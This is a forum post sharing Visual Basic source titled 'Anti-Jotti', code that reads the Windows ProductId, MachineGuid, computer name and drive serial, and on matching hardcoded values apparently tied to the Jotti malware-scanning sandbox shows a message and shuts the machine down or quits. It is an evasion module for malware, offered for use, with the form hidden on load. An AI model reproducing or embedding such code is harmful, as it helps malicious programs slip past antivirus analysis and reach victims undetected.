• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Visual Basic Anti- Jotti

Status
Not open for further replies.

mero25

Leech
User
Joined
Oct 26, 2011
Messages
68
Reputation
0
Reaction score
33
Points
18
Credits
0
‎13 Years of Service‎
68%
Code:
>Dim reg As Object, Pid As Variant, GUID As Variant
Dim LENGUID As Long, LENPID As Long, TempS As String
Dim x As Long, SPID As String, SGUID As String, HWID As String
Const regPID = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId"
Const regGUID = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid"
Private Declare Function GetVolumeInformation Lib "kernel32.dll" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As _
String, ByVal nVolumeNameSize As Integer, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVallpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
Private GetComputername As String


Public Function DonanımIDÇal() As String
On Error Resume Next
Set reg = CreateObject("wscript.shell")
Pid = Replace(reg.regread(regPID), "-", "")
GUID = Replace(reg.regread(regGUID), "-", "")
LENPID = Len(Pid)
LENGUID = Len(GUID)
For x = 1 To LENPID
TempS = Hex((Asc(Mid$(Pid, x, 1)) Xor 23) Xor 14)
SPID = SPID & TempS
Next x
SPID = StrReverse(SPID)
For x = 1 To LENGUID
TempS = Hex((Asc(Mid$(GUID, x, 1)) Xor 23) Xor 14)
SGUID = SGUID & TempS
Next x
SGUID = StrReverse(SGUID)
HWID = StrReverse(SGUID & SPID)
DonanımIDÇal = HWID
Dim fagID As String
Dim i As Integer
For i = 1 To 5
fagID = fagID & CStr(Mid(DonanımIDÇal, Int(Len(DonanımIDÇal) / 12) * i, 4)) & "-"
Next
fagID = Mid(fagID, 1, Len(fagID) - 1)
DonanımIDÇal = UCase(fagID)
End Function
Function SeriNoAl(strDrive As String) As Long
   Dim SerialNum As Long
   Dim Res As Long
   Dim Temp1 As String
   Dim Temp2 As String
   Temp1 = String$(255, Chr$(0))
   Temp2 = String$(255, Chr$(0))
   Res = GetVolumeInformation(strDrive, Temp1, _
   Len(Temp1), SerialNum, 0, 0, Temp2, Len(Temp2))
   SeriNoAl = SerialNum
End Function
Private Sub Form_Load()
Form1.Visible = False
Call main
End Sub

Private Sub main()
GetComputername = Environ$("ComputerName")
Dim Hdserino  As String
Dim HdiskID As String
Dim mesaj As String
mesaj = "xD"
Hdserino = Trim(Str(Abs(SeriNoAl("C:\"))))
HdiskID = DonanımIDÇal
If GetComputername = "BRBRB-D8FB22AF1" Then
MsgBox mesaj, 16, "xD"
Shell ("shutdown -s -t 1")
End
Else
If HdiskID = "12E2-D212-12D2-B2A2-F2C2" Then
MsgBox mesaj, 16, "xD"
End
Else
If Hdserino = "1878068295" Then
MsgBox mesaj, 16, "xD"
Shell ("shutdown -s -t 1")
End
Else
End If
End If
End If
End Sub
 
Status
Not open for further replies.
Back
Top